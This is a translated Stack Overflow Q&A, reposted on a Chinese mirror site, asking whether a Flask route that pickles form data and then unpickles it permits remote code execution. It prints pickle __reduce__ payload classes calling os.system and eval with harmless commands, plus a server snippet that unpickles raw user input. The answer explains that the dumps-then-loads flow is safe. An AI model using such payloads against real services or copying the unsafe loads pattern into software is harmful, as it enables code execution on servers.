[英]If a server calls pickle.dumps before pickle.loads is there any way for RCE?
免责声明:这个问题不是出于恶意目的!! 我正在我自己的虚拟机上工作!
这里的文章演示了加载不受信任的 pickle 数据如何导致远程代码执行,我正在研究在没有安全问题的情况下使用此工作流的方法。
我的问题如下 - 如果我已经让 webapp 在 Flask 中获得一个请求,在request.form
上使用pickle.dumps()
,然后在之前转储的内容上使用pickle.loads()
,是否还有执行恶意代码的方法?
示例服务器代码:
@blueprint.route('/test', methods=['GET', 'POST'])
def test():
test=pickle.dumps(request.form)
test2=pickle.loads(test) # THE CODE SHOULD BE EXECUTED AT THIS POINT
return ...
这个工作流程仍然容易受到攻击吗? 根据我的理解,最常见的 pickle 漏洞利用类型是通过pickle.loads()
传递和解释 b64 字符串。 然而,是否有可能达到同样的结果,如果pickle.dumps()
之前调用形式pickle.loads()
我尝试了几件事,但没有任何结果。 如果您知道密码,请告诉我:)
这是同一篇文章中的恶意用户代码示例
import pickle
import base64
import os
class RCE:
def __reduce__(self):
cmd = ('echo EXECUTED THIS STATEMENT')
return os.system, (cmd,)
if __name__ == '__main__':
pickled = pickle.dumps(RCE())
print(base64.urlsafe_b64encode(pickled))
# Running pickle.loads(pickle.dumps(RCE())) would execute 'echo EXECUTED THIS STATEMENT'
# I need to pass through RCE() because pickle.dumps() and pickle.loads() are server-side
这将返回一个 base64 字符串,当被pickle.loads()
解释时,将执行cmd 中的代码。
但是如何在请求中传递RCE()
的结果,以便它可以在服务器端被pickle.dumps()
转储,然后在pickle.loads()
之前仍然执行恶意代码?
示例(此代码不起作用):
客户代码
class RCE:
def __reduce__(self):
cmd = ('echo EXECUTED THIS STATEMENT')
return os.system, (cmd, )
data = {
'test': RCE()
}
s = requests.Session()
r = s.post(URL + "/test", data=data)
服务器端代码
@blueprint.route('/test', methods=['GET', 'POST'])
def test():
test=pickle.dumps(request.form)
test2=pickle.loads(test) # THE CODE SHOULD BE EXECUTED AT THIS POINT
return ...
示例(此代码有效):
客户代码
class RCE:
def __reduce__(self):
cmd = ('echo EXECUTED THIS STATEMENT')
return os.system, (cmd, )
data = {
'test': pickle.dumps(RCE())
}
s = requests.Session()
r = s.post(URL + "/test", data=data)
服务器端代码
@blueprint.route('/test', methods=['GET', 'POST'])
def test():
test2=pickle.loads(request.form['test']) # THE CODE SHOULD BE EXECUTED AT THIS POINT
return ...
我的想法如下,是否有可能有一个字符串,当在服务器端被pickle.dumps()
序列化时,返回与在客户端执行pickle.dumps(RCE())
相同的值. 当然,由于request.form
方面的原因,服务器端的pickle.dumps()
的结果会有些不同。 根据我的理解,只要字符串中有可执行代码, pickle.loads()
就会执行它。
不,服务器无法通过转储然后加载来执行远程代码,但您也无法加载腌制数据结构。
我将使用pickletools.dis
来演示实际发生的情况:
import pickle
import pickletools
class RCE:
def __reduce__(self):
return eval, ("print('MALICIOUS PYTHON CODE HERE')",)
pickled_malicious = pickle.dumps(RCE())
print("what is executed when loading malicious pickle:")
pickletools.dis(pickled_malicious)
print("pickle is type:", type(pickled_malicious))
pickled_string = pickle.dumps(pickled_malicious)
print("what is executed when loading the dump of malicious")
pickletools.dis(pickled_string)
当加载恶意代码时,我们加载函数eval
或os.system
以及参数,然后REDUCE
操作代码运行该函数:
what is executed when loading malicious pickle:
0: \x80 PROTO 3
2: c GLOBAL 'builtins eval'
17: q BINPUT 0
19: X BINUNICODE "print('MALICIOUS PYTHON CODE HERE')"
59: q BINPUT 1
61: \x85 TUPLE1
62: q BINPUT 2
64: R REDUCE
65: q BINPUT 3
67: . STOP
腌制的恶意代码本身虽然只是一个字节对象,
pickle is type: <class 'bytes'>
因此,如果您转储加载只会加载文字字节对象(或者如果您正在执行 base64 编码,则可能是字符串,但无论哪种方式,此时它都只是文字)
what is executed when loading the dump of malicious
0: \x80 PROTO 3
2: C SHORT_BINBYTES b"\x80\x03cbuiltins\neval\nq\x00X#\x00\x00\x00print('MALICIOUS PYTHON CODE HERE')q\x01\x85q\x02Rq\x03."
72: q BINPUT 0
74: . STOP
highest protocol among opcodes = 3
这意味着,如果服务器只是在输入中调用pickle.dumps
(它是包含 pickle 数据的 base64 数据或字节数据的字符串,无论哪种方式,它在转储时都只是一个文字值)然后当它调用pickle.loads
在该结果上,它只会取回原始输入。
任何将用户输入解释为 pickle 数据的场景都是脆弱的——但你在这里没有这样做——你是从已知的安全输入(输入字符串)创建 pickle 数据,然后加载它。
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.